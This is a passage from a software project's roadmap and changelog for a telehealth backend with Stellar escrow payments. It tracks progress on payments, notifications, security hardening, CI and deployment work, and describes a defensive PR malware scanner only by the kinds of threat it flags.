as a real dependency (via the GitHub Release tarball URL β€” see `docforum-escrow`'s ADR 0003); wired `payments/services` to call it through a dynamic `import()` (`escrow-sdk-loader.ts` β€” the SDK is ESM-only, this backend is CommonJS). -- [x] On order issuance, create a `PaymentIntent` (`created` status) automatically with a typed order FK. Manual intent creation was removed. Corrections move created intents; funded intents remain attached to the immutable original. -- [x] [Issue #88] Harden payments configuration: typed network/RPC/contract/asset settings, mainnet opt-in guard, startup reachability check, and intent-recorded contract ids for release/refund. -- [x] Soroban contract-event poller, per-deployment persisted cursors, unmatched release/refund alerts, and admin event view (issue #86). Contract deployments must include their deployment ledger; RPC retention gaps are surfaced for operator reconciliation. -- [x] On patient funding action, call SDK to move funds into escrow (`escrowed` status), store `stellarTxHash` β€” except it's not a *patient* action in this design (custodial v1, ADR 0004): `POST /payments/intents/:id/fund`, admin-triggered, funds from `docforum-core`'s own platform payer identity. -- [x] On `FulfillmentRecord` reaching `fulfilled`, trigger SDK release call (`released` status) β€” except there's no `FulfillmentRecord` yet (Phase 5), so v1 exposes `POST /payments/intents/:id/release` as an admin-triggered action instead. ADR 0002's "don't let it drift into a manual/admin-triggered release" goal is **not yet met** β€” this is the honest interim, not the destination; revisit once Phase 5 exists. -- [x] Refund path for rejected/expired orders β€” `POST /payments/intents/:id/refund`, same admin-triggered caveat as release. -- [ ] Idempotent escrow funding + on-chain reconcile job (`fundPaymentIntent` is check-then-act β€” docforum-escrow threat model Β§5). Tracked as [issue #24](https://github.com/DocForum/docforum-core/issues/24) (High, 200 pts). -- [ ] ADR: releaser key custody β€” multisig, KMS, or per-period rotation (threat model T1/T2). Tracked as [issue #25](https://github.com/DocForum/docforum-core/issues/25) (Medium, 150 pts). -- [ ] Checksum-validate facility wallet keys, not just regex. Tracked as [issue #26](https://github.com/DocForum/docforum-core/issues/26) (Trivial, 100 pts). -- [x] Patient payment history and facility payout ledger APIs, with ownership-scoped pagination, on-chain references, and BigInt-safe SQL totals. Tracked as [issue #90](https://github.com/DocForum/docforum-core/issues/90) β€” **implemented; `refundAfter` remains null until a payment model/contract version supports deadlines**. -- [x] Nightly/manual testnet payment verification with fresh Friendbot-funded identities and deduplicated failure tracking. Tracked as [issue #91](https://github.com/DocForum/docforum-core/issues/91). -- [x] Payout privacy prototype: testnet-only pooled payout support in the escrow funding path, with direct facility payouts as the default in production/local environments. Tracked as [issue #92](https://github.com/DocForum/docforum-core/issues/92). -- [ ] Non-custodial patient payments (v2): patients fund escrows from their own Stellar wallet, custodial kept as fallback. **Proposed** in `docs/adr/0005-non-custodial-patient-payments.md`; implementation issues to be opened once it's Accepted. -- [x] Multi-asset intents (USDC + native XLM per-environment allowlist, payee trustline checks) and the patient-signed prepare half of ADR 0005. Tracked as [issue #79](https://github.com/DocForum/docforum-core/issues/79) and [issue #80](https://github.com/DocForum/docforum-core/issues/80). Prepare returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` against SDK 0.2.0 until #32 lands; submit/fee-bump is out of scope for #80. -- [ ] Upgrade to `@docforum/escrow-sdk` 0.3.0 and the current testnet contract (`refund_after`, balance-delta check, `getEscrow`) β€” step 1 of ADR 0005's plan, but worth doing regardless. Tracked as [issue #32](https://github.com/DocForum/docforum-core/issues/32) (Medium, 150 pts); depends on `docforum-escrow` publishing `sdk-v0.3.0`. -- [ ] Doc reconciliation: PRD Β§8.1.6 (facility fulfillment integrity) β€” not marked resolved; this phase proves the payment *mechanism* works, not the fulfillment-integrity question, which still needs real `FulfillmentRecord`/facility-matching (Phase 5) to actually address. - -## Phase 6 β€” Notifications -**Status: In progress β€” provider decision made (see `docs/adr/0013-notification-provider.md`, issue #17). Trigger-point build-out still blocked by Phases 3 & 4 and deliberately left unscoped until those land.** -- [ ] `Notification` model + dispatch interface (provider-agnostic, per ARCHITECTURE.md Β§2) β€” part of the trigger-point work, still blocked. -- [ ] Trigger points per PRD FR-15/FR-16 (booking confirmed, referral created/accepted/declined, order ready, results available, new booking, lab results returned) β€” still blocked by Phases 3/4. -- [x] Pick and integrate a real provider (email/SMS) behind the interface β€” **decided:** email via Postmark (SMS deferred, no provider chosen); the adapter stays behind the provider-agnostic dispatch interface and no provider calls live in business logic. Tracked as [issue #17](https://github.com/DocForum/docforum-core/issues/17) (Trivial, 100 pts) β€” decision recorded in `docs/adr/0013-notification-provider.md`; integration itself is still to be built. - -## Phase 7 β€” Frontend: core flows end-to-end -**Status: Superseded.** This phase predates the 3-repo org split (see the org note at the top of this file) β€” all frontend work described below is actually tracked in `docforum-web`'s own `ROADMAP.md` (Phases W2–W5, issues opened there). Left in place as a historical record rather than deleted, but no issues are or will be opened against it here. -- [ ] ~~Patient: search doctors by specialty/availability, book, submit intake.~~ β†’ `docforum-web` Phase W2. -- [ ] ~~Patient: view referral status, accept/decline.~~ β†’ `docforum-web` Phase W2. -- [ ] ~~Patient: view orders, select fulfilling facility.~~ β†’ `docforum-web` Phase W2. -- [ ] ~~Doctor: manage availability, view bookings, run consultation, issue referral/orders.~~ β†’ `docforum-web` Phase W3. -- [ ] ~~Facility: view assigned fulfillment queue, update status, attach results.~~ β†’ `docforum-web` Phase W4. -- [ ] ~~Shared: auth screens (signup/login per role).~~ β†’ already built, `docforum-web` Phase W1. - -## Phase 8 β€” Hardening (safety, audit, security) -**Status: In progress. In addition to the original five items (#18–#20 scoped, two still blocked), four auth-hardening items are scoped as #34, #35, #37 and #39 β€” #34 and #35 are merged; #37 and #39 are open PRs. An access-control test suite (#44) is built and tested. Each is independent of the others and of Phases 3–7, and each carries its own schema/doc updates.** - -- [x] Email verification on signup, with restricted access for unverified accounts. `User.emailVerifiedAt` + `EmailVerificationToken` (hashed, expiring, single-use), `POST /auth/verify-email`, `POST /auth/verify-email/resend`, and a `requireVerifiedEmail` guard on booking + payment mutations (never on login/browsing). Migration backfills existing rows as verified. Tracked as [issue #34](https://github.com/DocForum/docforum-core/issues/34) (High, 200 pts) β€” **Done**, merged as PR #137. Found a real dependency while building it: the email *provider* is still an open decision (Phase 6, issue #17), so links can't be delivered on a hosted deployment yet β€” see `backend/src/modules/auth/services/email-dispatcher.ts` and ARCHITECTURE.md Β§6.1.5. -- [x] Login brute-force protection: per-account and per-IP throttling with backoff. Postgres-backed buckets (`LoginAttempt`), a single conditional upsert so concurrent failures are counted atomically, exponential backoff with `Retry-After`, a bounded temporary lock, an admin clear endpoint, a prune interval in `src/server.ts`, and a `TRUST_PROXY` setting so the IP isn't Render's proxy address. Tracked as [issue #35](https://github.com/DocForum/docforum-core/issues/35) (High, 200 pts) β€” **Done**, merged as PR #138. -- [ ] CSRF protection for the cookie-authenticated refresh/logout endpoints, plus an explicit per-environment CORS allowlist. A per-session CSRF token bound into the refresh token (not a double-submit cookie β€” a cookie set by this API is third-party to `docforum.github.io`, so the web client can't read it), a required `X-CSRF-Token` header on `/auth/refresh` + `/auth/logout`, an `Origin` allowlist check, and `CORS_ORIGINS` replacing the single configured origin. Tracked as [issue #37](https://github.com/DocForum/docforum-core/issues/37) (High, 200 pts) β€” **in progress**, branch `feat/csrf-protection-for-cookie-authenticated-refresh`. -- [ ] Admin account lifecycle: secure bootstrap CLI, admin invites, and account deactivation. Tracked as [issue #39](https://github.com/DocForum/docforum-core/issues/39) (High, 200 pts) β€” **in progress**. -- [ ] Patient data export (right of access) as a complete, machine-readable bundle. `POST /patients/me/export` + `GET /patients/me/export/:id` (+ `/download`), owner-only; an exporter registry where each module contributes its own section through its service (ARCHITECTURE.md Β§3.1 β€” `account`, `profile`, `appointments`, `payments` today); versioned JSON with `generatedAt`; generated by an interval worker in `src/jobs/patient-exports.ts` and stored as bounded chunks in Postgres (`PatientExport`/`PatientExportChunk`, Β§4.11 β€” no object-storage provider exists yet, see Β§6.3.4); expiry + cleanup after `PATIENT_EXPORT_TTL_HOURS`. Tracked as [issue #40](https://github.com/DocForum/docforum-core/issues/40) (High, 200 pts) β€” **in review**, branch `feat/40-patient-data-export`. Later modules (referrals, prescriptions, lab orders) must register their own section when they land; a verified guardian exporting a dependent's data is left to issue #42's model. -- [ ] `AuditEvent` table and write path β€” **foundation done, Phase 3/4 wiring pending.** Append-only `AuditEvent` (DB triggers reject UPDATE/DELETE/TRUNCATE), `auditService.record()` that must run inside the state change's own transaction, request ids on every response, and `GET /admin/audit-events` (entity/actor/date filters, keyset cursor). Wired into appointment booking (both the direct and the referral-origin path), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions (`referral.reassign` / `referral.cancel`, Phase 3 issue #68 β€” recorded as `entityType: 'Referral'` rows in this one table, not a second referral-specific table). Still unaudited: the referral's *creation* and the cascade-driven `completed`/`expired` transitions (no actor to attribute them to), the remaining Phase 4 order transitions, and the login-throttle admin clear (console-only). Tracked as [issue #43](https://github.com/DocForum/docforum-core/issues/43) (High, 200 pts) β€” **in review**, branch `feat/43-auditevent-foundation`. -- [ ] Account deletion with clinical-record retention: `DELETE /patients/me` (password re-confirmation, throttled) anonymises the identity in place and keeps appointments + payment intents intact; `PatientProfile.userId` FK CASCADE β†’ RESTRICT (migration); interval purge of record-free tombstones (`src/jobs/account-purge.ts`, holds in `src/retention-holds.ts`). Decisions in `docs/adr/0010` β€” the **legal retention period for clinical/order/payment records stays an open decision** (kept indefinitely until set). Tracked as [issue #41](https://github.com/DocForum/docforum-core/issues/41) (High, 200 pts) β€” **in review**, branch `feat/41-account-deletion-retention`. Follow-up when #40 also merges: delete a deleted patient's `PatientExport` rows inside the anonymisation transaction (ADR 0010 table). -- [ ] Guardian and dependent accounts: booking on behalf of a minor. Dependents are guardian-owned `PatientProfile`s with no login, linked through a real `Guardianship` relation that replaces the unenforced `guardianUserId` string (migration refuses to run over legacy values); `POST`/`GET /patients/me/dependents` (create-only β€” no linking of existing profiles); `patientProfileId` on `POST /appointments` (and `GET /appointments/mine`) authorised in the service layer before the unchanged booking transaction; access ends automatically at `AGE_OF_MAJORITY_YEARS` (default 18). Decisions in `docs/adr/0011`; PRD Β§8.2.5 marked resolved/re-scoped. Tracked as [issue #42](https://github.com/DocForum/docforum-core/issues/42) (High, 200 pts) β€” **in review**, branch `feat/42-guardian-dependent-accounts`. Follow-ups: majority account-claim flow, guardian/admin revoke endpoints, guardianship verification beyond self-assertion. -- [ ] JWT refresh revocation list (ARCHITECTURE.md Β§6.1.4). Tracked as [issue #18](https://github.com/DocForum/docforum-core/issues/18) (Medium, 150 pts) β€” unblocked now, operates on Phase 1's auth module. -- [ ] Held-slot TTL/release job (ARCHITECTURE.md Β§6.2.1). Tracked as [issue #19](https://github.com/DocForum/docforum-core/issues/19) (Medium, 150 pts) β€” unblocked now, operates on Phase 1's `AvailabilitySlot`. -- [x] Access-control test suite: who may read intake, consultation and payment data. Integration tests (`tests/integration/access-control.test.mts`) establishing the test harness and access-control patterns for the three PHI data categories; intake/consultation test cases are scaffolded as placeholders until Phase 2/3 routes exist, payment-intent access cases exercise the live admin-gated routes. Tracked as [issue #44](https://github.com/DocForum/docforum-core/issues/44) β€” **Done**. -- [ ] Privacy access-control audit: confirm intake/consultation notes are visible only per PRD Β§7 (patient, treating doctor(s) in-thread, fulfilling facility for that specific order only) β€” write tests, not just code review. Still blocked β€” meaningfully auditable only once Phase 3/4/5 access paths exist. **One Phase 3 access path is now worth auditing (`GET /consultations/:id` β€” treating doctor + that appointment's patient only, and referral snapshot exposure on `GET /referrals/mine` / `/created`), but intake and orders remain unbuilt, so the audit as scoped stays blocked.** Not yet scoped into an issue. -- [ ] Decide and document what's explicitly out of scope for v1 launch vs. genuinely blocking (e.g., drug-interaction checking, PRD Β§8.2.8 β€” needs an explicit go/no-go, not silence). Tracked as [issue #20](https://github.com/DocForum/docforum-core/issues/20) (Trivial, 100 pts) β€” a decision task, unblocked now. - -## Phase 9 β€” Deploy & CI -**Status: In progress. Structured JSON logging (request IDs + PHI redaction) landed; load tests (k6) for search, slot listing and booking contention added; automated Postgres backups with a tested restore drill are now implemented (issue #107). A Render free-tier preview exists β€” see note. Production deploy still Not started. Remaining items scoped into issues #21–#22.** -- [x] Localization foundation ([issue #133](https://github.com/DocForum/docforum-core/issues/133)): persist a supported locale from `Accept-Language` at signup, format coded errors and password-reset notifications with ICU catalogs (English source + French stub), and enforce catalog key parity in CI. Other server messages remain English until their owning flows adopt the catalog. -- [x] **PR malware scan** β€” `.github/workflows/pr-malware-scan.yml` + `.github/scripts/pr-malware-scan.cjs`, on every PR push. Flags editor/devcontainer autorun tasks, npm install hooks, typosquatted packages and Actions, non-registry dependency sources, payloads disguised as fonts/images, base64/whitespace obfuscation, exfiltration endpoints, reverse shells and miners. HIGH findings fail the `Malware scan` check, label the PR `security-review` and @mention the author; one comment per PR, updated in place. Reads the PR as data only (never checks out or runs it). Added 2026-10-20 after a VS Code autorun payload (escrow #163) and a typosquatted action (escrow #176). Manual backfill (Actions β†’ PR malware scan β†’ Run workflow, `prs: all`) scans PRs opened before the scanner and records a `Malware scan` commit status, which satisfies the required check. -- [ ] End-to-end care-thread integration test: book β†’ consult β†’ refer β†’ accept β†’ order β†’ fulfil β†’ release. A single self-contained test (`backend/tests/integration/care-thread.test.mts`) driving the full thread through HTTP only, against embedded Postgres with the escrow SDK mocked; asserts the key invariants at each step (snapshot equality, append-only orders, facility-only fulfillment, payment status) rather than just status codes. Steps are phase-gated β€” each phase's steps are skipped with a reason until that phase lands, so the scaffold and already-built steps (booking, consult, refer, accept) run now and the rest enable as Phases 4/5 land. Runs as part of `test:integration` in CI, runtime kept under a minute. Tracked as [issue #69](https://github.com/DocForum/docforum-core/issues/69) (High, 200 pts) β€” **in progress**, branch `feat/end-to-end-care-thread-integration-test-book`. -- [ ] Choose deployment target (ARCHITECTURE.md Β§8 open decision) β€” record as an ADR. **Still not resolved.** A Render free-tier web service + Postgres now runs `backend/`, so `docforum-web`'s GitHub Pages preview has a live API to call β€” see `docs/adr/0003-render-preview-deployment.md`. This is explicitly a preview, not the production decision: no secrets manager, no backups, no staging/prod split, free-tier Postgres expires 2026-11-06 (renewed 2026-10-07; 30 days, 14-day grace period) unless recreated/upgraded before then β€” renewal steps in ADR 0003's "Renewing the free database" section. Tracked as [issue #22](https://github.com/DocForum/docforum-core/issues/22) (Medium, 150 pts). -- [x] Real CI pipeline (replaced `.github/workflows/ci.yml` placeholder β€” was `pull_request`-only, `echo "TODO"`, never once run). Now runs on push to `main` and on PRs: `npm audit --omit=dev` at high severity (`audit:prod`, Phase 8 issue #47) β†’ `prisma:generate` β†’ `typecheck` β†’ unit tests β†’ **integration tests (the self-contained embedded-Postgres double-booking proof)** β†’ `build`. Verified locally end-to-end before pushing (14 unit + 1 integration test passing) and confirmed green in Actions. No lint script exists yet in `backend/package.json` β€” not added; `tsc --noEmit` is the closest static check currently available. Lint now tracked as [issue #28](https://github.com/DocForum/docforum-core/issues/28) (Trivial, 100 pts). Closes [issue #21](https://github.com/DocForum/docforum-core/issues/21) (Medium, 150 pts). -- [ ] Staging environment. Blocked on issue #22's decision landing first β€” not yet scoped into its own issue. -- [ ] Production environment + secrets management. Blocked on issue #22's decision landing first β€” not yet scoped into its own issue. -- [x] **Automated Postgres backups with a tested restore drill** β€” `scripts/backup-postgres.sh` takes an encrypted logical backup (`pg_dump --format=custom` piped through `gpg --symmetric`, so the plaintext dump never touches disk) with a retention window; `scripts/restore-drill.sh` restores the latest backup into a scratch database with explicit confirmation and name guards (the target must end in `_drill`/`_scratch` and must not be the source database), then runs integrity checks (row counts, `_prisma_migrations`, a sample booking query). `.github/workflows/backup-restore-drill.yml` runs the round-trip daily (and on demand) against a seeded throwaway Postgres service. It does not touch the Render preview database yet, because there's no production target (see the deployment decision above). Design and RPO/RTO notes are in `docs/adr/0007-postgres-backups-and-restore-drill.md` and `infra/backup/README.md`. Tracked as [issue #107](https://github.com/DocForum/docforum-core/issues/107) β€” **Done**. -- [x] Docs site deployed β€” `docs/site/` (VitePress) via `.github/workflows/deploy-docs.yml`, live at https://docforum.github.io/docforum-core/. Unrelated to the production-deploy decision above; this is a static site with no backend of its own. -- [x] **PR conflict notifier** β€” `.github/workflows/pr-conflict-notifier.yml` + `.github/scripts/pr-conflict-notifier.cjs`. On every push to `main` (and every 3h) it labels open PRs that conflict with `main` as `needs-rebase` and @mentions the author once per push with rebase steps; the label clears itself when the conflict is resolved. Runs from `main` only and never checks out PR code. -- [x] Structured JSON logging with request IDs and automatic PHI redaction. A `pino` logger (`backend/src/logger.ts`) with per-environment level (`LOG_LEVEL`, default `silent` under `NODE_ENV=test`), a request-scoped child logger carrying a request id (incoming `X-Request-Id` accepted or one generated, echoed on the response), and a redaction config covering auth headers, cookies, passwords, tokens and a list of PHI field paths. A custom `BigInt`-safe serialiser so `BigInt` values (payment amounts) log instead of crashing. The error handler routes through the request-scoped logger β€” stacks server-side, safe envelope to the client. Redaction unit tests assert each configured path is redacted. Still open (follow-up scope, not blocking): the remaining `console.*` call sites in `src/` (jobs, auth, users, audit) are not yet converted, and the `no-console` lint/grep gate described in the original plan is not implemented. Closes [issue #30](https://github.com/DocForum/docforum-core/issues/30) (High, 200 pts). -- [x] **Load tests (k6)** β€” `backend/tests/load/` (`search.js`, `slots.js`, `booking-contention.js`), `backend/scripts/seed-load-test.mjs` (thousands of doctors + slots), and `.github/workflows/load-tests.yml` (manual/nightly, never against the shared Render preview). Thresholds enforce p95 latency on read paths and zero double-bookings; the contention scenario asserts correctness from the database afterwards (exactly one booking per slot), not just response codes. First results committed in `backend/tests/load/REPORT.md`. - -- [ ] Fixed-seed property tests for slot generation and appointment/payment state machines, with an expanded nightly run. Tracked as [issue #120](https://github.com/DocForum/docforum-core/issues/120). - -## Explicitly deferred (not on this roadmap, tracked so they aren't forgotten) -- In-app video/voice consultation (PRD OQ-1 β€” v1 assumes in-person + async messaging). -- Insurance/billing. -- HL7/FHIR interoperability export. -- Native mobile apps. -- Multi-facility doctor calendars (PRD Β§8.2.6 / ARCHITECTURE Β§6.2.3). -- ML-based doctor/symptom matching. - ---- - -## Changelog (append, don't rewrite history) - -> New entries go in `changelog.d/`, one file per PR β€” see -> `changelog.d/README.md`. Maintainers fold them in here with -> `node scripts/fold-changelog.mjs`. Please don't append to this section -> directly. - -- 2026-09-09 β€” Initial roadmap created alongside Phase 0 scaffolding. -- 2026-09-14 β€” Resolved the open risk in `docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`: confirmed against the real Drips Wave docs that this repo and `docforum-web` are not ecosystem-relevant to a Stellar-only Wave and will not be submitted. Only `docforum-escrow` will apply, once it has enough real GitHub activity β€” see its Phase E1–E4 work. -- 2026-09-14 β€” Phase 1 built: Express 5 API, Prisma schema for the Phase 1 - models + migration, JWT auth (signup/login/refresh/logout, role - middleware), admin-gated doctor verification, fixed-length slot - generation, and the booking-concurrency guarantee β€” implemented and - proven with a real, self-contained integration test (real Postgres, 8 - concurrent requests, exactly 1 succeeds). PRD Β§8.1.1 and ARCHITECTURE - Β§6.1.1 marked resolved. Not done: Docker Compose file exists but wasn't - exercised (no Docker in this environment) β€” see the note under Phase 1 - above and `infra/docker/README.md`. -- 2026-09-14 β€” Deployed `backend/` to Render (free tier, preview only β€” - ADR 0003) so `docforum-web`'s GitHub Pages preview has a live API. - Fixed the refresh-cookie `secure`/`sameSite` to be genuinely - environment-aware (was a documented local-dev-only placeholder) and - added `credentials: 'include'` in `docforum-web`'s api-client. Free - Postgres expires 2026-10-14 β€” needs recreating/upgrading before then. -- 2026-09-14 β€” Added `docs/site/`: a VitePress documentation site for the - whole org, deployed to GitHub Pages - (https://docforum.github.io/docforum-core/) via - `.github/workflows/deploy-docs.yml`. Content is synced at build time - (`docs/site/scripts/sync-docs.mjs`) β€” this repo's PRD/architecture/ - essentials/roadmap/ADRs/API-reference copied locally, `docforum-web`'s - and `docforum-escrow`'s README/architecture-essentials/roadmap (and - escrow's ADR 0001) fetched from their `main` branch β€” nothing is a - hand-maintained duplicate, so the site can't drift from what each repo - actually says the way a copied-and-forgotten doc would. Relative links - in the fetched READMEs are rewritten to absolute GitHub URLs (they were - written relative to their own repo root, meaningless in this site's - structure β€” `vitepress build`'s dead-link check catches this if it's - ever skipped). Same pine/brass/Fraunces identity as `docforum-web`, for - visual consistency across the org's public surfaces. **Known gap:** - only rebuilds on a push to this repo β€” a docs change landing only in - `docforum-web` or `docforum-escrow` doesn't trigger a rebuild here yet; - noted in both `deploy-docs.yml` and `docs/site/README.md`, not silently - accepted. (Now tracked as [issue #29](https://github.com/DocForum/docforum-core/issues/29).) -- 2026-09-14 β€” Removed all remaining "DripsWave" naming (the product's - original codename before the org became `DocForum`): `PRD.md`/ - `ARCHITECTURE.md`/`ROADMAP.md` titles and PRD.md's opening line, plus - ADR 0002's context paragraph. `docforum-web` and `docforum-escrow` were - already clean (checked). Also removed two stale, unreferenced, - never-committed leftovers from the top-level workspace (not this repo) - that still carried the old name: a superseded draft `ROADMAP.md` and an - early superseded ADR draft β€” moved aside rather than hard-deleted. -- 2026-09-14 β€” Added `.github/ISSUE_TEMPLATE/bug_report.md`, deployed - identically across all three repos (same convention as the existing - `good-first-issue.md`). Built from a user-supplied bug-report structure - plus drips.network's "Creating Meaningful Issues" guide (fetched - directly, not from memory) β€” complexity/points tagging, honest sizing, - and "why it matters" context apply to bug reports the same way they do - to task issues, not just repro mechanics. -- 2026-09-14 β€” Scoped Phase 2 into four real GitHub issues (#1–#4), - following the same shape already used on `docforum-escrow`'s issues: - why it matters, what to do, files likely involved, edge cases, DoD, how - it'll be reviewed. #2 explicitly depends on #1 (intake before booking - confirmation); #3 and #4 are independent of each other and of #1/#2. - Complexity: #1/#2/#3 Medium (150 pts), #4 (`Consultation` record) High - (200 pts) β€” it's the one that resolves the `resolved | referred | - follow_up_needed` outcome model that Phase 3's referral creation will - depend on. Phase 2 checklist above updated to link each item to its - issue. -- 2026-09-14 β€” Scoped the rest of the roadmap that's actually actionable - right now into 18 more real GitHub issues (#5–#22): Phase 3 Referrals - (#5–#8, including a dedicated ADR issue for the unresolved - target-doctor routing rule, ARCHITECTURE.md Β§6.1.2), Phase 4 Orders - (#9–#12), Phase 5 Facilities & fulfillment (#13–#16, led by an ADR - issue resolving the polymorphic `FulfillmentRecord` smell before the - rest of the phase builds on it), Phase 6's notification-provider - decision (#17 β€” the only part of Phase 6 not blocked by Phases 3/4), - three of Phase 8's five hardening items that don't actually depend on - unbuilt phases (#18 JWT revocation, #19 held-slot TTL, #20 v1 scope - decision doc β€” `AuditEvent` and the privacy audit stay unscoped, they - need Phase 3/4/5 models to audit), and Phase 9's CI pipeline + a - dedicated production-deployment ADR (#21–#22, distinct from ADR 0003 - which only covers the current preview). - - Deliberately **not** scoped into issues: Phase 5.5 Payments (blocked on - `docforum-escrow` publishing its SDK β€” issues #4/#5 there are still - open; opening issues here now would hand a contributor work that - can't start) and Phase 7 Frontend, which is marked **superseded** in - place β€” it predates the 3-repo split and duplicates what's actually - tracked in `docforum-web`'s own roadmap (Phases W2–W5); left as a - historical record rather than deleted, but no issues will be opened - against it here. Every dependency between these issues (e.g., #7/#8 - depend on #5; #10/#11/#12 depend on #9; #14/#15/#16 depend on #13) is - stated explicitly in each issue body, same convention as #2's - dependency on #1. -- 2026-09-14 β€” Closed issue #21 directly (a maintainer fix, not left for - a Wave contributor): replaced the placeholder `ci.yml` with a real - workflow β€” `prisma:generate` β†’ `typecheck` β†’ unit tests β†’ integration - tests β†’ `build`, on push to `main` and on PRs. Companion fix applied - identically in `docforum-web` and (separately, already done) in - `docforum-escrow` β€” all three repos now have CI that actually runs - their real test suites instead of an `echo "TODO"` stub. Done ahead of - the Drips Wave application: a prospective contributor or organizer - landing on any of these repos now sees actual passing checks, not a - placeholder. -- 2026-09-15 β€” General workspace-audit fixes, applied identically to all - three org repos: - - This file's own top status line was stale (dated 2026-09-09, said - "Phase 0 complete, Phase 1 not started" while the body below showed - Phases 1-9 built/scoped) β€” corrected. - - Added `CONTRIBUTING.md` β€” `AGENTS.md` is written for coding agents, - not a quick human onboarding path; this covers clone/install/test, - how to claim an issue, and the PR checklist. - - Branch protection enabled on `main` for all three repos: the real CI - check must pass and one approval is required before merge, force - pushes and deletion are disabled. `enforce_admins` left `false` so - the maintainer isn't blocked β€” this protects against a bad external - PR landing unreviewed/uncheck-passing, not against the maintainer's - own direct pushes. - - Added GitHub topics to `docforum-core` and `docforum-web` - (`docforum-escrow` already had them) for discoverability. -- 2026-09-15 β€” Built Phase 5.5 (Payments) for real, ahead of Phase 4/5, - via docs/adr/0004-custodial-payments-v1.md: `docforum-core` holds its - own Stellar payer + releaser identities (custodial v1) rather than - patients signing with their own wallet β€” the only design consistent - with `docforum-web`'s existing "no direct Stellar calls" hard rule. - `PaymentIntent`/`WalletLink` filled in from the Phase 0 scaffold with - real FKs to `PatientProfile`/`FacilityProfile` (both Phase 1, already - real); `orderType`/`orderId` stay opaque rather than hard FKs to - `Prescription`/`LabOrder`, which don't exist yet β€” this is what let - the phase build independently instead of waiting on Phase 4/5. - `@docforum/escrow-sdk` added as a real dependency (the GitHub Release - tarball from `docforum-escrow`'s ADR 0003), wired through a dynamic - `import()` (CJS backend, ESM-only SDK β€” same interop pattern as - `embedded-postgres`). New `POST /payments/wallet-link`, - `POST /payments/intents`, `POST /payments/intents/:id/{fund,release, - refund}` endpoints β€” the latter three admin-only in v1, since there's - no `FulfillmentRecord` yet to trigger them automatically (ADR 0004 - "Consequences" β€” explicitly not the final design). - - Verified against **live testnet**, not mocked: - `npm run test:integration:payments-testnet` β€” 3/3 passing (full fundβ†’ - release lifecycle, full fundβ†’refund lifecycle, reject-when-no-wallet). - Kept out of the default `test`/`test:integration`/CI, same reasoning - as `docforum-escrow`'s own SDK test (depends on testnet + the platform - payer's balance, not self-contained). Caught and fixed a real bug - while wiring this up: vitest's CLI path filter matches by substring, - so a `tests/integration-testnet/` directory got silently swept into - `test:integration`'s `tests/integration` filter β€” renamed to - `tests/testnet-integration/` to avoid the collision, confirmed via - actually re-running both scripts and checking which files each picked - up, not just reasoning about it. - - Real testnet identities generated for this: a platform payer + a - platform releaser, both funded via Friendbot. Generated and written - directly to `backend/.env` by `scripts/gen-platform-identities.mjs` β€” - the secrets were never printed to any visible output, only the public - keys were (this repo's sandbox correctly refused an attempt to reveal - a stored `stellar` CLI identity's secret directly; the fix was - generating fresh keys via the SDK's own `Keypair.random()` and writing - them straight to a file instead of asking to view them). - - Also: bumped `@docforum/escrow-sdk` to v0.2.0 (a small but real - addition made while building this β€” `createEscrow`/`release`/`refund` - now return the transaction hash instead of discarding it, since this - module needs to persist `stellarTxHash`). See `docforum-escrow`'s own - changelog for that side of it. -- 2026-09-15 β€” Updated the hand-authored overview pages in - `docs/site/repos/` (`core.md`, `escrow/overview.md`, `web/overview.md`) - β€” these are the one part of the docs site NOT synced automatically at - build time, and had gone stale describing Phase E1-only / - Phase-W1-only states that no longer matched reality. Added - `sync-docs.mjs` entries for the new ADRs (this repo's 0004, - `docforum-escrow`'s 0002/0003) and matching sidebar nav entries. - - Caught and fixed a real bug while verifying this, not just trusting - the workflow ran: `docforum-escrow`'s ADR 0003 contained angle-bracket - placeholder text that VitePress's Vue-based markdown compiler - misreads as an unclosed HTML tag, failing this site's build entirely. - Confirmed by actually building the site locally against the exact - content, not by inspecting text and guessing. Two rounds were needed - β€” the first fix addressed one instance, a second (different) instance - in the same file was still breaking the build; both are now fixed at - the source in `docforum-escrow`. -- 2026-09-26 β€” Refreshed this file's stale top status line (still said - Phase 5.5 was unscoped/blocked on the escrow SDK, though it shipped - 2026-09-15). Opened [issue #23](https://github.com/DocForum/docforum-core/issues/23) - (doctor discovery): a repo-wide check found no code path creating, - assigning, or reading `Specialty`/`DoctorSpecialty`, and no doctor - list endpoint, which `docforum-web` issue #1 assumes. Also noted, not - yet fixed: `npm audit --omit=dev` reports 3 high-severity findings via - `prisma` β†’ `@prisma/config` β†’ `deepmerge-ts <8`; the suggested - `npm audit fix --force` downgrades Prisma (breaking), so not applied. -- 2026-10-07 β€” Fixed Phase 2's stale status line (said "blocked by - Phase 1", though Phase 1 has been done since 2026-09-14) β€” contributors - browsing #1–#4/#23 via the docs site were told they were blocked. Added - a "Renewing the free database" runbook to ADR 0003: the Render preview - Postgres expires 2026-10-14 and the steps to recreate it lived nowhere. -- 2026-10-07 β€” Renewed the Render preview Postgres per ADR 0003's - runbook (old instance deleted, new free instance created, migrations - applied on deploy, admin account recreated). New expiry: 2026-11-06. -- 2026-10-07 β€” Opened issues #24–#29: idempotent escrow funding + - reconcile (#24) and releaser key custody ADR (#25), both from - `docforum-escrow`'s threat model Β§5/T1–T2; wallet key checksum - validation (#26); Docker Compose verification (#27); ESLint in CI - (#28); cross-repo docs-site rebuild (#29). -- 2026-10-08 β€” Proposed ADR 0005 (non-custodial patient payments v2): - `docforum-core` builds and submits transactions, the browser only asks - the patient's wallet to sign, which removes ADR 0004's objection while - keeping all Stellar network calls in this repo. Patient becomes the - escrow `payer`, with `refund_after` as their protection; SEP-10 wallet - linking for patients and facilities; USDC; platform fee-bump - sponsorship. Custodial v1 stays as a fallback. Status: Proposed, not - yet Accepted. Added to the docs site. -- 2026-10-09 β€” Opened issue #32: upgrade to escrow SDK 0.3.0 and the - current testnet contract.- 2026-10-16 β€” Implemented issue #77 (SEP-10 Stellar Web Authentication server, Phase 5.5 / ADR 0005 step 4): `GET - /payments/sep10/challenge` builds a server-signed challenge (SDK - helper β€” Manage Data nonce, 5-minute time bounds, home domain + - web_auth_domain) and records the issuance binding; `POST - /payments/sep10/verify` walks the full SEP-10 server verification - list (structure, time bounds, server signature, client signatures - with multisig weight thresholds loaded from Horizon, and the - spec's master-key rule for unfunded accounts), then consumes the - nonce with ONE conditional UPDATE so concurrent replays can't both - succeed β€” same DB-level pattern as booking. New `Sep10Challenge` - 